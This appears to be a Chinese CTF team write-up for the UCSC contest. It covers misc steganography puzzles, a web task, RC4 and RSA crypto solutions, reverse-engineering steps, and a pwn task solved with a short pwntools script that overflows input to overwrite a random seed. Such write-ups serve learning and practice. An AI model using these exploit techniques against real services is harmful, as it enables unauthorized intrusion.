感谢大神队友带飞
MISC：
第一题：小套不是套-ucsc
先扫二维码拿到!@#QWE123987解压tess.zip 再用crc32爆破可得密钥： SecretIsY0u
打开mushroom.jpg,用010打开查看png模块发现有png图片，补全头部
最后用oursecret解密即可
Misc
No.shArk-ucsc
提示Cat，猜测是猫脸变换
import cv2
import numpy as np
import multiprocessing
import os
def arnold_decode(image, shuffle_times, a, b):
h, w = image.shape[:2]
N = h
decode_image = np.zeros_like(image)
for _ in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a * b + 1) * ori_x - b * ori_y) % N
new_y = (-a * ori_x + ori_y) % N
decode_image[new_x, new_y] = image[ori_x, ori_y]
image = decode_image.copy()
return image
def process_parameters(params):
image, c, a, b = params
print(f"[+] Processing shuffle_times={c}, a={a}, b={b}")
decoded_img = arnold_decode(image.copy(), c, a, b)
output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"
cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
def arnold_brute(image, shuffle_times_range, a_range, b_range):
tasks = []
for c in range(shuffle_times_range[0], shuffle_times_range[1]):
for a in range(a_range[0], a_range[1]):
for b in range(b_range[0], b_range[1]):
tasks.append((image, c, a, b))
with multiprocessing.Pool(processes=os.cpu_count()) as pool:
pool.map(process_parameters, tasks)
if __name__ == "__main__":
img = cv2.imread("next.jpg")
arnold_brute(img, (1, 8), (1, 12), (1, 12))
跑出后找到
flag{46962f4d-8d29-
使用工具跑出QRcode
扫描出Y0U_Fi8d_ItHa@aaHH，根据Snow猜测是雪花隐写的密钥
找到含“雪”的html文件
雪花隐写解出11ef-b3b6-a4b1c1c5a2d2}
Misc
USB-ucsc
Ctf-nat直接出
three-ucsc
Part1是盲水印
Part2
是解密就行了2进制，base64，摩斯即可
Part3
看到流量找到密码一个一个试试
这个就是密钥
解出来就行了
然后将三个部分拼起来即可
Web
ezLaravel-ucsc
直接dirb扫描发现flag.php
直接出答案了
下线的题
Response抓包flag字段即可base64解密
Crpyto
- XR4
题目的a直接给出，所有与a有关的都不需要改动，需要解出的就是data
使用的方法是异或，所以直接将随机数列表重塑为矩阵，然后进行与密文矩阵进行异或即可获得data(flag)
import base64
import random
from Crypto.Util.number import *
import numpy as np
def init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def decrypt(cipher, box):
res = []
i = j = 0
cipher_bytes = base64.b64decode(cipher)
for s in cipher_bytes:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(s ^ k))
return (''.join(res))
def random_num(seed_num):
random.seed(seed_num)
# 假设这是转置后的矩阵
transposed_matrix = np.array([[1, 11, 116, 33, 68, 32],
[111, 45, 19, 98, 52, 32],
[38, 58, 113, 38, 119, 7],
[110, 39, 60, 57, 56, 26],
[95, 84, 91, 10, 43, 41],
[44, 1, 118, 29, 125, 41]])
T = [int(str(random.random()*10000)[0:2]) for i in range(36)]
# 将 T 转换为 numpy 数组
T_np = np.array(T)
# 重塑为 6x6 的二维数组
T_reshaped = T_np.reshape(6, 6)
result = transposed_matrix ^ T_reshaped
for i in result:
for j in i:
print(chr(j),end="")
if __name__ == '__main__':
ciphertext = "MjM184anvdA="
key = "XR4"
box = init_sbox(key)
a=decrypt(ciphertext, box)
print(a)
random_num(int(a))
# transposed_matrix=(data.reshape(6*6))^T
# transposed_matrix=[[ 1 111 38 110 95 44]
# [ 11 45 58 39 84 1]
# [116 19 113 60 91 118]
# [ 33 98 38 57 10 29]
# [ 68 52 119 56 43 125]
# [ 32 32 7 26 41 41]]- Essential
题目flag一共两部分
首先解flag1，题目中具体的p、q生成规则为:
a=getPrime(512)
p=sympy.nextprime(13*a)
q=sympy.prevprime(25*a)
number2=p*q而对于同一个数，它的next和prev素数一般来说不超过1500
所以直接对n整除(13*25)然后开根号然后一直遍历取下一个数直到能整除n，那么这个值即为a ，那么p、q也获得了
然后再看e，显然是e和phi的不互素问题，直接套模板即可获得flag
然后再看flag1
题目中为
while number2 > 0:
if number2 % 2:
number4 = (number4 * number1) % number3
number1 = number1 ** 2 % number3
number2 //= 2
return number4对于number2，它在二进制的角度看就是如果当前位为1则乘上number1，而由于number4初始为1，且number1也仅仅和自己相乘，所以相乘又可以看作在指数上的相加
所以其实这个加密就可以看成是 pow(number1,number2,number3)
而我们解上一个flag时又已经获得了phi
那么直接正常RSA解密即可
Pwn
- BoFido
题目虽然没有栈溢出，但是却有数据溢出，也就是输入大小比变量大小大。并且看题目数据栈可以发现溢出能覆盖到seed的位置，所以直接把seed覆盖掉然后随机数就固定了，直接向服务器输出固定的随机数即可
from pwn import *
r = remote()
payload = 0x20*b'a' + b'1'
r.sendline(payload)
r.sendline(b'171 153 203')
r.sendline(b'202 0 183')
r.sendline(b'201 70 206')
r.sendline(b'195 45 120')
r.sendline(b'165 188 58')
r.sendline(b'252 232 96')
r.sendline(b'178 16 144')
r.sendline(b'65 93 195')
r.sendline(b'202 99 159')
r.sendline(b'236 80 162')
r.interactive()Reverse
- EZ_debug
题目只做了一件事--进行异或，且输入的值直接与结果进行对比，所以直接动调拿然后Shift+F12就可以看到(或者你也可以自己解密)
REVERSE
第一题：simplere-ucsc
64位，因为加了upx的壳子，并且标志位改了
所以在010改标志位为upx，进行upx脱壳。打开IDA：
先进行base58加密(换表了)，再进行异或，但是这里的异或是反向拿的，所以解密要逆序输出。
| enc = [0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60, 0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57] enc1 = list() for i in range(0,len(enc), 1): result = enc[i] ^ (i + 1) enc1.append(result) for i in range(len(enc)-1,-1, -1): print(chr(enc1[i]),end="") |
第二题： EZ_debug-ucsc CTRL+E找到程序入口点：
这里可以很容易知道就是将v5数组的值进行的RC4加密，直接动调拿v5加密后的值即可。
flag{709e9bdd-0858-9750-8c37-9b135b31f16d}
Comments NOTHING